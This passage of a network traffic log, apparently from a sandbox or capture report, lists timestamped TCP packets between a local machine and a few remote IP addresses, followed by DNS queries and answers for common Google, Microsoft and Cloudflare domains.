Nov 28, 2024 17:24:47.809756041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.809767962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.809797049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.809823036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.810430050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.810486078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.810574055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.810611963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.811125040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.811180115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.811238050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.811275005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.811875105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.811928034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.811960936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.811996937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.812596083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.812653065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.812731981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.812819004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.813327074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.813404083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.813433886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.813476086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.814014912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.814062119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.814064980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.814100981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.814682961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.814738989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.814857006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.814899921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.815476894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.815531015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.815684080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.815732956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.816258907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.816312075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.816324949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.816363096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.816827059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.816989899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.816999912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.817023039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.817631006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.817677021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.817727089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.817845106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.818347931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.818402052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.818406105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.818445921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.818994045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.819045067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.819117069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.819160938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.819751978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.819813013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.819833994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.819873095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.820498943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.820555925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.820574045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.820621014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.821449041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.821484089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.821497917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.821518898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.822170973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.822212934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.822276115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.822331905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.822823048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.822861910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.822954893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.823029041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.823441029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.823540926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.823564053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.823596954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.824196100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.824263096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.824289083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.824306965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.824758053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.824809074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.824863911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.824915886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.825464964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.825596094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.825604916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.825658083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.826311111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.826354027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.826401949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.826473951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.827203035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.827294111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.827295065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.827332973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.827699900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.827739954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.827873945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.827914000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.828284979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.828326941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.828391075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.828428984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.829019070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.829098940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.829127073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.829153061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.829691887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.829749107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.829910994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.829955101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.830430031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.830492020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.832001925 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:47.832086086 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:47.832165956 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:47.838419914 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:47.838447094 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:47.933185101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.933245897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.933372974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.933414936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.933437109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.933479071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.933660984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.933753014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.934144020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.934202909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.934216976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.934254885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.934899092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.934968948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.935019970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.935092926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.935604095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.935662031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.935708046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.935750008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.936393976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.936460972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.936461926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.936501980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.937073946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.937182903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.937232971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.937753916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.937808990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.937836885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.937886000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.938466072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.938513994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.938518047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.938559055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.939165115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.939227104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.939356089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.939543009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.939981937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.940000057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.940036058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.940056086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.940589905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.940639019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.940646887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.940679073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.941301107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.941358089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.941381931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.941426039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.942028999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.942042112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.942089081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.942745924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.942790985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.942807913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.942846060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.943455935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.943507910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.943634987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.943695068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.944145918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.944214106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.944236994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.944283962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.944865942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.944921970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.945031881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.945081949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.945580006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.945641994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.945733070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.945775032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.946299076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.946355104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.946410894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.946520090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.008413076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.008475065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.008498907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.008558035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.008657932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.008690119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.008721113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.008734941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.009363890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.009411097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.009474039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.009567022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.010162115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.010211945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.010265112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.010320902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.010730982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.010766029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.010840893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.010888100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.011480093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.011521101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.011528969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.011559010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.012129068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.012207985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.012254000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.012336016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.012852907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.012916088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.013042927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.013081074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.013560057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.013614893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.013698101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.013736010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.014297962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.014338970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.014368057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.014506102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:48.015017986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:48.015060902 CET	49813	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 17:24:22.202434063 CET	192.168.2.6	1.1.1.1	0xc065	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:22.203620911 CET	192.168.2.6	1.1.1.1	0xeebc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:29.387378931 CET	192.168.2.6	1.1.1.1	0x43ad	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:29.387556076 CET	192.168.2.6	1.1.1.1	0xf39d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:33.928949118 CET	192.168.2.6	1.1.1.1	0x48ba	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:33.929409027 CET	192.168.2.6	1.1.1.1	0xbfec	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:36.295829058 CET	192.168.2.6	1.1.1.1	0xb898	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:36.296041965 CET	192.168.2.6	1.1.1.1	0x672f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 17:24:37.323859930 CET	192.168.2.6	1.1.1.1	0x3405	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:37.324429989 CET	192.168.2.6	1.1.1.1	0xc911	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:38.789613962 CET	192.168.2.6	1.1.1.1	0xdcca	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.789796114 CET	192.168.2.6	1.1.1.1	0x121e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:38.790328026 CET	192.168.2.6	1.1.1.1	0x333	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.790476084 CET	192.168.2.6	1.1.1.1	0x96e1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:38.799700022 CET	192.168.2.6	1.1.1.1	0xbf02	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.800256014 CET	192.168.2.6	1.1.1.1	0xc8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:39.024202108 CET	192.168.2.6	1.1.1.1	0xb9aa	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.024739981 CET	192.168.2.6	1.1.1.1	0xf294	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:39.034185886 CET	192.168.2.6	1.1.1.1	0x4f36	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.034512043 CET	192.168.2.6	1.1.1.1	0xcf98	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:39.167480946 CET	192.168.2.6	1.1.1.1	0x1111	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.167720079 CET	192.168.2.6	1.1.1.1	0xfc5d	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 17:24:39.309386015 CET	192.168.2.6	1.1.1.1	0x3178	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.309653044 CET	192.168.2.6	1.1.1.1	0x95e8	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 17:24:22.346507072 CET	1.1.1.1	192.168.2.6	0xc065	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:22.347563982 CET	1.1.1.1	192.168.2.6	0xeebc	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 17:24:29.533809900 CET	1.1.1.1	192.168.2.6	0x43ad	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:29.533809900 CET	1.1.1.1	192.168.2.6	0x43ad	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:29.533833027 CET	1.1.1.1	192.168.2.6	0xf39d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:34.069781065 CET	1.1.1.1	192.168.2.6	0x48ba	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:34.075278044 CET	1.1.1.1	192.168.2.6	0xbfec	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:34.474668026 CET	1.1.1.1	192.168.2.6	0xc498	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:34.474668026 CET	1.1.1.1	192.168.2.6	0xc498	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:34.671566963 CET	1.1.1.1	192.168.2.6	0x5005	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:36.445934057 CET	1.1.1.1	192.168.2.6	0x672f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:36.449278116 CET	1.1.1.1	192.168.2.6	0xb898	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:37.465890884 CET	1.1.1.1	192.168.2.6	0x3405	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:37.465890884 CET	1.1.1.1	192.168.2.6	0x3405	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:37.467951059 CET	1.1.1.1	192.168.2.6	0xc911	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:38.928215027 CET	1.1.1.1	192.168.2.6	0x333	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.928215027 CET	1.1.1.1	192.168.2.6	0x333	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.928390980 CET	1.1.1.1	192.168.2.6	0x121e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 17:24:38.928401947 CET	1.1.1.1	192.168.2.6	0xdcca	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.928401947 CET	1.1.1.1	192.168.2.6	0xdcca	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.931829929 CET	1.1.1.1	192.168.2.6	0x96e1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 17:24:38.938875914 CET	1.1.1.1	192.168.2.6	0xc8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 17:24:38.938958883 CET	1.1.1.1	192.168.2.6	0xbf02	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:38.938958883 CET	1.1.1.1	192.168.2.6	0xbf02	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
